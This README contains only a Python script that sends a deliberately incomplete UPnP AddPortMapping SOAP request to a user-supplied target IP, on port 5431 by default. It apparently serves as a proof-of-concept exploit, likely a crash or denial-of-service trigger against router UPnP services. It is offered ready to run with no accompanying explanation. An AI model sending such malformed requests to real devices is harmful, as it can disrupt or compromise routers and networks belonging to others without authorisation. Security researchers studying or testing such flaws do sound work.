README.md
Rendering markdown...
import requests
import argparse
def send_soap_request(ip, port):
url = f"http://{ip}:{port}/control/WANIPConnection"
headers = {
"Content-Type": "text/xml",
"SOAPAction": "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
}
data = '''<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:AddPortMapping>
<NewPortMappingDescription>hello</NewPortMappingDescription>
</u:AddPortMapping>
</s:Body>
</s:Envelope>'''
try:
response = requests.post(url, headers=headers, data=data, timeout=10)
print(f"Status Code: {response.status_code}")
print("Response Body:")
print(response.text)
except requests.RequestException as e:
print(f"[!] Request failed: {e}")
def main():
parser = argparse.ArgumentParser(description="Send SOAP AddPortMapping request to target IP")
parser.add_argument("ip", help="Target IP address (e.g., 10.21.42.33)")
parser.add_argument("-p", "--port", type=int, default=5431, help="Target port (default: 5431)")
args = parser.parse_args()
send_soap_request(args.ip, args.port)
if __name__ == "__main__":
main()